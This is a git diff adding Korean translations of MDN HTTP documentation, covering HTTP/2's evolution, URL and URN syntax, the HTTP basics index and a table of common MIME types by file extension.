+<p>2015년 5월에 공식적으로 표준화된, HTTP/2는 큰 성공을 거두었습니다: 2016년 6월, 모든 웹 사이트 중 8.7%<sup><a href="https://w3techs.com/technologies/details/ce-http2/all/all">[1]</a></sup>가 이미 사용 중에 있고, 이것은 모든 요청의 68%<sup><a href="https://www.keycdn.com/blog/http2-statistics/">[2]</a> </sup>이상을 나타냅니다. 인터넷 상에서 전송 오버헤드 감소로 많은 돈을 절약하는 높은 트래픽의 웹 사이트들은 이 프로토콜을 급속히 받아들이고 있습니다.</p>
+
+<p>이러한 급격한 채택은 HTTP/2가 웹 사이트와 애플리케이션의 채택이 필요하지 않았기에 가능했습니다: HTTP/1.1을 사용할지 HTTP/2를 사용할지 고민할 필요가 없어졌습니다. 최신 브라우저와 통신하는 최신의 서버를 갖는 것은 프로토콜 사용을 활성화하는 것만으로 충분합니다: 어느 정도의 제한된 액터 세트만이 HTTP/2 채택을 불러일으키는데 필요했으며 브라우저와 서버 버전이 교체됨에 따라, 웹 개발자의 투입없이도 HTTP/2의 사용은 자연스럽게 증가했습니다.</p>
+
+<h2 id="차세대-HTTP2로의_진화">차세대-HTTP/2로의 진화</h2>
+
+<p>HTTP는 HTTP/2의 릴리즈와 함께 진화를 멈추지 않았습니다. HTTP/1.x처럼, 확장성은 여전히 새로운 기능들을 추가하는데 사용되고 있습니다. 주목할 만한 중요성에 있어 2016년에 나타난 HTTP의 새로운 확장들을 들 수 있습니다:</p>
+
+<ul>
+ <li>{{HTTPHeader("Alt-Svc")}} 지원은 좀 더 영리한 {{Glossary("CDN")}} 메커니즘을 따라, 신분 증명의 개념과 주어진 자원의 위치를 분리하도록 해줍니다.</li>
+ <li>{{HTTPHeader("Client-Hints")}}의 도입으로 브라우저 혹은 클라이언트가 요구사항이나 서버의 하드웨어 제약사항에 관한 정보를 사전에 미리 주고 받을 수 있게 되었습니다.</li>
+ <li>{{HTTPHeader("Cookie")}} 내에 보안 관련 접두사 도입은 보안 쿠키가 변경되지 않았다는 것을 보장하는데 도움을 줍니다.</li>
+</ul>
+
+<p>HTTP의 진화는 그것의 확장성과 단순함이 예측 불가능한 애플리케이션과 프로토콜 채택을 만들어내고 있다는 것을 보여줍니다. 오늘날 HTTP가 사용되는 환경은 1990년 초에 상상하던 것과는 완전히 다릅니다. HTTP 본래의 설계가 걸작이 되었음을 지난 25년 넘게 호환되지 않는 진화의 요구없이 웹을 진화시킴으로 증명했습니다. 25년 넘게 HTTP의 성공을 만들어 온 유연함과 확장성을 유지하는 동시에, 수년 넘게 밝혀진 많은 결함들을 수정한 덕택에, HTTP/2의 등장은 프로토콜에 대한 밝은 미래를 암시하는 것처럼 보입니다.</p>
diff --git a/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html
new file mode 100644
index 0000000000..ddf7faa316
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html
@@ -0,0 +1,167 @@
+---
+title: 웹 리소스 식별
+slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
+translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP 요청 대상을 "리소스"라고 부르는데, 그에 대한 본질을 이 이상으로 정의할 수 없습니다; 그것은 문서, 사진 또는 다른 어떤 것이든 될 수 있습니다. 각 리소스는 리소스 식별을 위해 HTTP 전체에서 사용되는 Uniform Resource Identifier ({{Glossary("URI")}})에 의해 식별됩니다.</p>
+
+<p>웹에서 리소스에 대한 식별과 위치는 대부분 단일 URL(Uniform Resource Locator, URI의 한 종류)로 제공됩니다. 그러나 때로 식별과 위치가 동일한 URI로 제공되지 않는데에는 이유가 있습니다: 요청된 리소스에 대해 클라이언트가 다른 위치에서 접근하도록 해야 할 경우, HTTP는 특정 HTTP 헤더인 {{HTTPHeader("Alt-Svc")}}을 사용합니다.</p>
+
+<h2 id="URLs_그리고_URNs">URLs 그리고 URNs</h2>
+
+<h3 id="URLs">URLs</h3>
+
+<p>URI의 가장 일반적인 형식은 <em>웹 주소</em>라고하는 Uniform Resource Locator ({{Glossary("URL")}})입니다.</p>
+
+<pre>https://developer.mozilla.org
+https://developer.mozilla.org/en-US/docs/Learn/
+https://developer.mozilla.org/en-US/search?q=URL</pre>
+
+<p>그런 URL 중 어떤 것이든 당신의 브라우저 주소 표시줄에 입력하여 그와 연관된 페이지(리소스)를 로드하도록 지정할 수 있습니다.</p>
+
+<p>URL은 서로 다른 파트들로 구성되며, 어떤 것들은 필수이며 그 외에는 선택 사항입니다. 좀 더 복잡한 예제는 다음과 같습니다:</p>
+
+<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&amp;key2=value2#SomewhereInTheDocument</pre>
+
+<h3 id="URNs">URNs</h3>
+
+<p>URN은 개별적인 네임스페이스 내에서 이름에 의해 리소스를 식별하는 URI를 말합니다.</p>
+
+<pre>urn:isbn:9780141036144
+urn:ietf:rfc:7230
+</pre>
+
+<p>위 두 개의 URN은 다음 내용을 나타냅니다</p>
+
+<ul>
+ <li>George Orwell이 쓴 1984년이라는 책</li>
+ <li>IETF 스펙 문서 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.</li>
+</ul>
+
+<h2 id="Uniform_Resource_Identifiers_(URIs)_구문">Uniform Resource Identifiers (URIs) 구문</h2>
+
+<h3 id="스킴_혹은_프로토콜">스킴 혹은 프로토콜</h3>
+
+<dl>
+ <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>http://</code> 는 프로토콜입니다. 브라우저가 사용해야 하는 프로토콜을 나타냅니다. 일반적으로 그것은 HTTP 프로토콜이거나 혹은 보안이 적용된 버전인 HTTPS일 겁니다. 웹은 이들 중 하나를 반드시 필요로 하지만, 브라우저들은 <code>mailto:</code> (메일 클라이언트를 열기 위해) 혹은 파일 전송을 다루기 위한 <code>ftp:</code> 와 같은 다른 프로토콜도 처리하는 방법을 알고 있으므로 그런 프로토콜들을 보게 되더라도 놀라지마세요. 일반적인 스킴은 다음과 같습니다: </dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">설명</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>data</td>
+   <td><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">데이터 URIs</a></td>
+  </tr>
+  <tr>
+   <td>file</td>
+   <td>호스트가 지정하는 파일 이름들</td>
+  </tr>
+  <tr>
+   <td>ftp</td>
+   <td><a href="/en-US/docs/Glossary/FTP">파일 전송 프로토콜</a></td>
+  </tr>
+  <tr>
+   <td>http/https</td>
+   <td><a href="/en-US/docs/Glossary/HTTP">하이퍼텍스트 전송 프로토콜 (보안)</a></td>
+  </tr>
+  <tr>
+   <td>mailto</td>
+   <td>전자 메일 주소</td>
+  </tr>
+  <tr>
+   <td>ssh</td>
+   <td>보안 쉘</td>
+  </tr>
+  <tr>
+   <td>tel</td>
+   <td>전화번호</td>
+  </tr>
+  <tr>
+   <td>urn</td>
+   <td>Uniform Resource Names</td>
+  </tr>
+  <tr>
+   <td>view-source</td>
+   <td>리소스의 소스 코드</td>
+  </tr>
+  <tr>
+   <td>ws/wss</td>
+   <td>(암호화된) <a href="/en-US/docs/Web/API/WebSockets_API">웹소켓</a> 연결</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="도메인_이름(Authority)">도메인 이름(Authority)</h3>
+
+<dl>
+ <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>www.example.com</code> 은 네임스페이스를 관리하는 도메인 이름 혹은 권한입니다. 그것은 어떤 웹 서버가 요청을 받게 될지를 나타냅니다.  혹은, {{Glossary("IP address")}}를 직접 사용할 수도 있지만, 불편하므로 웹에서 그리 자주 사용되지는 않습니다.</dd>
+</dl>
+
+<h3 id="포트">포트</h3>
+
+<dl>
+ <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd>이 예제에서 <code>:80</code> 는 포트를 말합니다. 그것은 웹 서버 상의 리소스에 접근하는데 사용되는 기술적인 "문(gate)"을 나타냅니다. 리소스에 접근하기 위한 권한을 얻기 위해 웹 서버가 HTTP 프로토콜의 표준 포트(HTTP는 80, HTTPS는 443)를 사용하는 경우 일반적으로 생략됩니다. 그게 아니라면 포트 입력은 필수입니다.</dd>
+</dl>
+
+<h3 id="경로">경로</h3>
+
+<dl>
+ <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>/path/to/myfile.html</code> 는 웹 서버 상의 리소스 경로입니다. 초기 웹에서, 이와 같은 경로는 웹 서버 상에 있는 파일의 실제 위치를 나타냈었습니다. 오늘날에는, 대부분 물리적인 실제 위치를 사용하지 않고 웹 서버에 의해 다뤄지는 추상화를 사용합니다.</dd>
+</dl>
+
+<h3 id="쿼리">쿼리</h3>
+
+<dl>
+ <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>?key1=value1&amp;key2=value2</code> 는 웹 서버에 제공되는 추가적인 파라메터입니다. 이런 파라메터들은 <code>&amp;</code> 심볼로 구분되는 키/값 쌍의 목록입니다. 웹 서버는 리소스를 사용자에게 반환하기 이전에 무언가 추가적인 작업을 하기 위해 이 파라메터들을 사용할 수 있습니다. 각각의 웹 서버는 파라메터들을 따르는 자신만의 규칙을 가지며, 특정 웹서버가 파라메터들을 다루는 방식을 알기 위한 신뢰할 수 있는 유일한 방법은 웹 서버 소유자에게 요청하는 것입니다.</dd>
+</dl>
+
+<h3 id="프래그먼트">프래그먼트</h3>
+
+<dl>
+ <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>#SomewhereInTheDocument</code> 는 리소스 자체의 다른 부분을 가리키는 앵커입니다. 앵커는 리소스 내에서의 "북마크"의 한 종류를 나타내며, 브라우저에게 그런 "북마크된" 지점에 위치한 컨텐츠를 보여주기 위한 방법을 제공합니다. 예를 들자면, HTML 문서 상에서, 브라우저는 앵커가 정의된 지점으로 스크롤될 것입니다; 비디오 혹은 오디오 문서에서, 브라우저는 앵커가 나타내는 시점으로 이동하려고 할 겁니다. 프래그먼트 식별자로 알려져 있기도 한, # 뒤의 부분은 요청과 함께 서버에 전달되지 않는다는 것을 알아두어야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
+urn:isbn:9780141036144
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">URL이란 무엇인가?</a></li>
+ <li><a href="http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">URI 스킴에 대한 IANA 목록</a></li>
+</ul>
diff --git a/files/ko/web/http/basics_of_http/index.html b/files/ko/web/http/basics_of_http/index.html
new file mode 100644
index 0000000000..47028717ec
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/index.html
@@ -0,0 +1,51 @@
+---
+title: HTTP 기본
+slug: Web/HTTP/Basics_of_HTTP
+tags:
+  - HTTP
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/HTTP/Basics_of_HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP는 상당히 확장 가능한 프로토콜입니다. 자원과 URI의 개념, 메시지의 단순한 구조, 통신 흐름을 위한 클라이언트-서버 구조와 같은 몇 가지 기본 개념에 의존합니다. 이러한 기본 개념을 토대로, 새로운 HTTP 메서드나 헤더의 생성을 통해 새로운 기능과 새로운 의미를 더하는 수많은 확장들이 수년간 생겨났습니다.</p>
+
+<h2 id="항목">항목</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Overview">HTTP의 개요</a></dt>
+ <dd>HTTP는 무엇이고 웹 아키텍처에서 그 역할은 무엇인지, 프로토콜 스택에서의 위치를 서술하고 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP의 진화</a></dt>
+ <dd>HTTP는 1990년대 초반에 만들어지고 여러번 확장되어 왔습니다. 이 항목에서는 HTTP의 역사에 대해서 훑어보고 HTTP/0.9, HTTP/1.0, HTTP/1.1 그리고 수년에 걸쳐 중요하지는 않지만 새로운 기능이 소개된 현대의 HTTP/2에 대해서 서술하고 있습니다.</dd>
+ <dt><strong>HTTP 버전 협상</strong></dt>
+ <dd>클라이언트와 서버가 어떻게 특정 HTTP 버전을 협상하는지 그리고 갑자기 프로토콜 버전이 업그레이드 된 것이 사용되었을 때에는 어떻게 하는지 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Resources_and_URIs">리소스와 URIs</a></dt>
+ <dd>리소스에 대한 개념, 지시자, 그리고 웹에서의 위치에 대해서 간략히 소개합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a></dt>
+ <dd>웹 리소스가 어떻게 참조되는지 그리고 어떻게 것을 찾는지에 대해서 서술합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">데이터 URIs</a></dt>
+ <dd>특정 종류의 URI는 직접 대표하는 리소스를 포함합니다(embed). 데이터 URIs는 매우 편리하지만 위험성을 가지고 있습니다.</dd>
+ <dt>리소스 URLs</dt>
+ <dd>리소스 URLs, <code>resource:</code>가 접두사로 붙어있는 URLs인 스키마, 파이어폭스와 파이어폭스 확장 프로그램들에서 내적으로 리소스를 로드하기 위해서 사용됩니다, 하지만 몇몇 브라우저로 연결할 수 있는 사이트의 정보도 사용할 수 있습니다.</dd>
+ <dt>리소스의 신분과 위치를 분리: the Alt-Svc HTTP header</dt>
+ <dd>대부분의 경우, 웹 리소스에서 신분과 위치는 공유됩니다. 이것은 {{HTTPHeader("Alt-Svc")}} 헤더를 사용함으로써 바뀔 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a></dt>
+ <dd>HTTP/1.0 부터 다른 타입의 콘텐츠를 전송할 수 있습니다. 이 항목에서는 어떻게 {{HTTPHeader("Content-Type")}} 헤더를 사용하여 이것이 완료될 수 있는지 그리고 MIME 표준에 대해서 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">www와 비-www URL 중에서 선택하기</a></dt>
+ <dd>www 접두사를 사용한 도메인과 그렇지 않은 도메인에 대해서 조언합니다. 이 항목에서는 선택의 결과에 더하여 그것을 어떻게 만드는지 설명합니다.</dd>
+ <dt>HTTP 세션의 흐름</dt>
+ <dd>이 기초에 대한 항목은 일반적인 HTTP 세션에 대해서 서술합니다: 당신이 브라우저의 링크를 클릭하였을 때 무슨 일이 일어나는지에 대해 ...</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Messages">HTTP 메시지</a></dt>
+ <dd>HTTP 메시지는 요청 혹은 응답을 하는 도중에 전송됩니며, 아주 확실한 구조를 가지고 있습니다;<br>
+ 이 간략한 항목에서는 그 구조, 목적과 가능성에 대해서 서술합니다.</dd>
+ <dt>HTTP/2에서의 프레임과 메시지 구조</dt>
+ <dd>HTTP/2는 HTTP/1.x 메시지를 바이너리 프레임에 넣어 대신하고 캡슐화를 합니다. 이 항목은 그 프레임의 구조, 목적, 그리고 인코드 방법에 대해서 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x의 커넥션 관리</a></dt>
+ <dd>HTTP/1.1은 HTTP가 영구 연결과 파이프라이닝을 지원한 첫 버전입니다. 이 항목은 두 컨셉에 대해서 설명합니다.</dd>
+ <dt>HTTP/2에서의 연결 관리</dt>
+ <dd>HTTP/2는 어떻게 연결이 생성되고 관리되는지에 대해서 완벽하게 재고되었습니다: 이 항목은 어떻게 HTTP 프레임이 멀티플렉싱이 가능한지 그리고 이전 HTTP 버전에서 발생한 'head-of-time' 문제를 어떻게 풀었는지에 대해서 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Content_negotiation">콘텐츠 협상</a></dt>
+ <dd>브라우저에서 선언한 포맷, 언어, 또는 선호하는 인코딩 타입에 따라서 HTTP는 Accept-로 시작하는 HTTP 헤더 세트를 소개합니다. 이 항목은 어떻게 이러한 협상이 시작하는지, 어떻게 서버가 반응하기를 기대하는지 그리고 어떻게 가장 적절한 응답을 주는지에 대해서 설명합니다.</dd>
+</dl>
diff --git a/files/ko/web/http/basics_of_http/mime_types/common_types/index.html b/files/ko/web/http/basics_of_http/mime_types/common_types/index.html
new file mode 100644
index 0000000000..7ac00ee7e9
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/mime_types/common_types/index.html
@@ -0,0 +1,305 @@
+---
+title: MIME 타입의 전체 목록
+slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>다음은 일반적인 확장자로 정렬된, 문서 타입과 관련된 MIME 타입의 포괄적인 목록입니다.</p>
+
+<p>두 개의 주요 MIME 타입은 기본 타입에 있어 중요한 역할을 합니다:</p>
+
+<ul>
+ <li><code>text/plain</code>는 텍스트 파일을 위한 기본값입니다. 텍스트 파일은 인간이 읽을 수 있어야 하며 이진 데이터를 포함해서는 안됩니다.</li>
+ <li><code>application/octet-stream</code>는 다른 모든 경우를 위한 기본값입니다. 알려지지 않은 파일 타입은 이 타입을 사용해야 합니다. 브라우저들은 이런 파일들을 다룰 때, 사용자를 위험한 동작으로부터 보호하도록 개별적인 주의를 기울여야 합니다.</li>
+</ul>
+
+<p>IANA는 MIME 미디어 타입의 공식적인 레지스트리로 <a href="http://www.iana.org/assignments/media-types/media-types.xhtml">list공식적인 MIME 타입의 전체 목록</a>을 관리합니다. 다음 표에 웹에 대한 몇 가지 중요한 MIME 타입들이 나와 있습니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">확장자</th>
+   <th scope="col">문서 종류</th>
+   <th scope="col">MIME 타입</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>.aac</code></td>
+   <td>AAC 오디오 파일</td>
+   <td><code>audio/aac</code></td>
+  </tr>
+  <tr>
+   <td><code>.abw</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/AbiWord">AbiWord</a> 문서</td>
+   <td><code>application/x-abiword</code></td>
+  </tr>
+  <tr>
+   <td><code>.arc</code></td>
+   <td>아카이브 문서 (인코딩된 다중 파일)</td>
+   <td><code>application/octet-stream</code></td>
+  </tr>
+  <tr>
+   <td><code>.avi</code></td>
+   <td>AVI: Audio Video Interleave</td>
+   <td><code>video/x-msvideo</code></td>
+  </tr>
+  <tr>
+   <td><code>.azw</code></td>
+   <td>아마존 킨들 전자책 포맷</td>
+   <td><code>application/vnd.amazon.ebook</code></td>
+  </tr>
+  <tr>
+   <td><code>.bin</code></td>
+   <td>모든 종류의 이진 데이터</td>
+   <td><code>application/octet-stream</code></td>
+  </tr>
+  <tr>
+   <td><code>.bz</code></td>
+   <td>BZip 아카이브</td>
+   <td><code>application/x-bzip</code></td>
+  </tr>
+  <tr>
+   <td><code>.bz2</code></td>
+   <td>BZip2 아카이브</td>
+   <td><code>application/x-bzip2</code></td>
+  </tr>
+  <tr>
+   <td><code>.csh</code></td>
+   <td>C-Shell 스크립트</td>
+   <td><code>application/x-csh</code></td>
+  </tr>
+  <tr>
+   <td><code>.css</code></td>
+   <td>Cascading Style Sheets (CSS)</td>
+   <td><code>text/css</code></td>
+  </tr>
+  <tr>
+   <td><code>.csv</code></td>
+   <td>Comma-separated values (CSV)</td>
+   <td><code>text/csv</code></td>
+  </tr>
+  <tr>
+   <td><code>.doc</code></td>
+   <td>Microsoft Word</td>
+   <td><code>application/msword</code></td>
+  </tr>
+  <tr>
+   <td><code>.epub</code></td>
+   <td>Electronic publication (EPUB)</td>
+   <td><code>application/epub+zip</code></td>
+  </tr>
+  <tr>
+   <td><code>.gif</code></td>
+   <td>Graphics Interchange Format (GIF)</td>
+   <td><code>image/gif</code></td>
+  </tr>
+  <tr>
+   <td><code>.htm<br>
+    .html</code></td>
+   <td>HyperText Markup Language (HTML)</td>
+   <td><code>text/html</code></td>
+  </tr>
+  <tr>
+   <td><code>.ico</code></td>
+   <td>Icon 포맷</td>
+   <td><code>image/x-icon</code></td>
+  </tr>
+  <tr>
+   <td><code>.ics</code></td>
+   <td>iCalendar 포맷</td>
+   <td><code>text/calendar</code></td>
+  </tr>
+  <tr>
+   <td><code>.jar</code></td>
+   <td>Java 아카이브 (JAR)</td>
+   <td><code>application/java-archive</code></td>
+  </tr>
+  <tr>
+   <td><code>.jpeg</code><br>
+    <code>.jpg</code></td>
+   <td>JPEG 이미지</td>
+   <td><code>image/jpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.js</code></td>
+   <td>JavaScript (ECMAScript)</td>
+   <td><code>application/js</code></td>
+  </tr>
+  <tr>
+   <td><code>.json</code></td>
+   <td>JSON 포맷</td>
+   <td><code>application/json</code></td>
+  </tr>
+  <tr>
+   <td><code>.mid</code><br>
+    <code>.midi</code></td>
+   <td>Musical Instrument Digital Interface (MIDI)</td>
+   <td><code>audio/midi</code></td>
+  </tr>
+  <tr>
+   <td><code>.mpeg</code></td>
+   <td>MPEG 비디오</td>
+   <td><code>video/mpeg</code></td>
+  </tr>
+  <tr>
+   <td><code>.mpkg</code></td>
+   <td>Apple Installer Package</td>
+   <td><code>application/vnd.apple.installer+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.odp</code></td>
+   <td>OpenDocuemnt 프리젠테이션 문서</td>
+   <td><code>application/vnd.oasis.opendocument.presentation</code></td>
+  </tr>
+  <tr>
+   <td><code>.ods</code></td>
+   <td>OpenDocuemnt 스프레드시트 문서</td>
+   <td><code>application/vnd.oasis.opendocument.spreadsheet</code></td>
+  </tr>
+  <tr>
+   <td><code>.odt</code></td>
+   <td>OpenDocument 텍스트 문서</td>
+   <td><code>application/vnd.oasis.opendocument.text</code></td>
+  </tr>
+  <tr>
+   <td><code>.oga</code></td>
+   <td>OGG 오디오</td>
+   <td><code>audio/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.ogv</code></td>
+   <td>OGG 비디오</td>
+   <td><code>video/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.ogx</code></td>
+   <td>OGG</td>
+   <td><code>application/ogg</code></td>
+  </tr>
+  <tr>
+   <td><code>.pdf</code></td>
+   <td>Adobe <a href="https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html">Portable Document Format</a> (PDF)</td>
+   <td><code>application/pdf</code></td>
+  </tr>
+  <tr>
+   <td><code>.ppt</code></td>
+   <td>Microsoft PowerPoint</td>
+   <td><code>application/vnd.ms-powerpoint</code></td>
+  </tr>
+  <tr>
+   <td><code>.rar</code></td>
+   <td>RAR 아카이브</td>
+   <td><code>application/x-rar-compressed</code></td>
+  </tr>
+  <tr>
+   <td><code>.rtf</code></td>
+   <td>Rich Text Format (RTF)</td>
+   <td><code>application/rtf</code></td>
+  </tr>
+  <tr>
+   <td><code>.sh</code></td>
+   <td>Bourne 쉘 스크립트</td>
+   <td><code>application/x-sh</code></td>
+  </tr>
+  <tr>
+   <td><code>.svg</code></td>
+   <td>Scalable Vector Graphics (SVG)</td>
+   <td><code>image/svg+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.swf</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/SWF">Small web format</a> (SWF) 혹은 Adobe Flash document</td>
+   <td><code>application/x-shockwave-flash</code></td>
+  </tr>
+  <tr>
+   <td><code>.tar</code></td>
+   <td>Tape Archive (TAR)</td>
+   <td><code>application/x-tar</code></td>
+  </tr>
+  <tr>
+   <td><code>.tif<br>
+    .tiff</code></td>
+   <td>Tagged Image File Format (TIFF)</td>
+   <td><code>image/tiff</code></td>
+  </tr>
+  <tr>
+   <td><code>.ttf</code></td>
+   <td>TrueType Font</td>
+   <td><code>application/x-font-ttf</code></td>
+  </tr>
+  <tr>
+   <td><code>.vsd</code></td>
+   <td>Microsft Visio</td>
+   <td><code>application/vnd.visio</code></td>
+  </tr>
+  <tr>
+   <td><code>.wav</code></td>
+   <td>Waveform Audio Format</td>
+   <td><code>audio/x-wav</code></td>
+  </tr>
+  <tr>
+   <td><code>.weba</code></td>
+   <td>WEBM 오디오</td>
+   <td><code>audio/webm</code></td>
+  </tr>
+  <tr>
+   <td><code>.webm</code></td>
+   <td>WEBM 비디오</td>
+   <td><code>video/webm</code></td>
+  </tr>
+  <tr>
+   <td><code>.webp</code></td>
+   <td>WEBP 이미지</td>
+   <td><code>image/webp</code></td>
+  </tr>
+  <tr>
+   <td><code>.woff</code></td>
+   <td>Web Open Font Format (WOFF)</td>
+   <td><code>application/x-font-woff</code></td>
+  </tr>
+  <tr>
+   <td><code>.xhtml</code></td>
+   <td>XHTML</td>
+   <td><code>application/xhtml+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.xls</code></td>
+   <td>Microsoft Excel</td>
+   <td><code>application/vnd.ms-excel</code></td>
+  </tr>
+  <tr>
+   <td><code>.xml</code></td>
+   <td><code>XML</code></td>
+   <td><code>application/xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.xul</code></td>
+   <td>XUL</td>
+   <td><code>application/vnd.mozilla.xul+xml</code></td>
+  </tr>
+  <tr>
+   <td><code>.zip</code></td>
+   <td>ZIP archive</td>
+   <td><code>application/zip</code></td>
+  </tr>
+  <tr>
+   <td><code>.3gp</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP</a> 오디오/비디오 컨테이너</td>
+   <td><code>video/3gpp</code><br>
+    <code>audio/3gpp</code> if it doesn't contain video</td>
+  </tr>
+  <tr>
+   <td><code>.3g2</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP2</a> 오디오/비디오 컨테이너</td>
+   <td><code>video/3gpp2</code><br>
+    <code>audio/3gpp2</code> if it doesn't contain video</td>
+  </tr>
+  <tr>
+   <td><code>.7z</code></td>
+   <td><a href="https://en.wikipedia.org/wiki/7-Zip">7-zip</a> 아카이브</td>
+   <td><code>application/x-7z-compressed</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/http/basics_of_http/mime_types/index.html b/files/ko/web/http/basics_of_http/mime_types/index.html
new file mode 100644
index 0000000000..9b2ee96c87
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/mime_types/index.html
@@ -0,0 +1,306 @@
+---
+title: MIME 타입
+slug: Web/HTTP/Basics_of_HTTP/MIME_types
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>MIME 타입</strong>이란 클라이언트에게 전송된 문서의 다양성을 알려주기 위한 메커니즘입니다: 웹에서 파일의 확장자는 별  의미가 없습니다. 그러므로, 각 문서와 함께 올바른 MIME 타입을 전송하도록, 서버가 정확히 설정하는 것이 중요합니다. 브라우저들은 리소스를 내려받았을 때 해야 할 기본 동작이 무엇인지를 결정하기 위해 대게 MIME 타입을 사용합니다.</p>
+
+<p>수 많은 종류의 문서가 있으므로 많은 MIME 타입들이 존재합니다. 우리는 이 글에서 웹 개발에 있어 가장 중요한 MIME 타입들 중 몇 가지를 나열해 살펴보긴 하겠지만, 특정 종류의 문서에 딱 들어맞는 것을 보려면 다음의 전용 문서를 참고하시기 바랍니다: <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">MIME 타입의 전체 목록</a>.</p>
+
+<p>MIME 타입은 문서 타입 정보를 실어나르는 유일한 방법은 아닙니다:</p>
+
+<ul>
+ <li>이름의 접미사가 때때로 사용되는데, 특히 Microsoft의 윈도우즈 시스템이 그렇습니다. 모든 운영체제들이 이런 접미사를 의미있게 생각하는 것은 아니며(Linux 혹은 OS X의 경우 그렇습니다), 외부 MIME 타입의 경우처럼 그들이 정확하다는 보장도 없습니다.</li>
+ <li>매직 넘버. 다른 종류의 파일의 문법은 구조 상 보여지는 타입을 결정하는데 도움을 줍니다. 예를 들어, 각 GIF 파일들은 47 49 46 38 16진수 값 [GIF89]로 시작되며 PNG 파일의 경우 89 50 4E 47 [.PNG]로 시작됩니다. 파일의 모든 타입들이 이런 매직 넘버를 가지고 있는 것은 아니므로 100% 신뢰할 만한 시스템은 아니기도 합니다.</li>
+</ul>
+
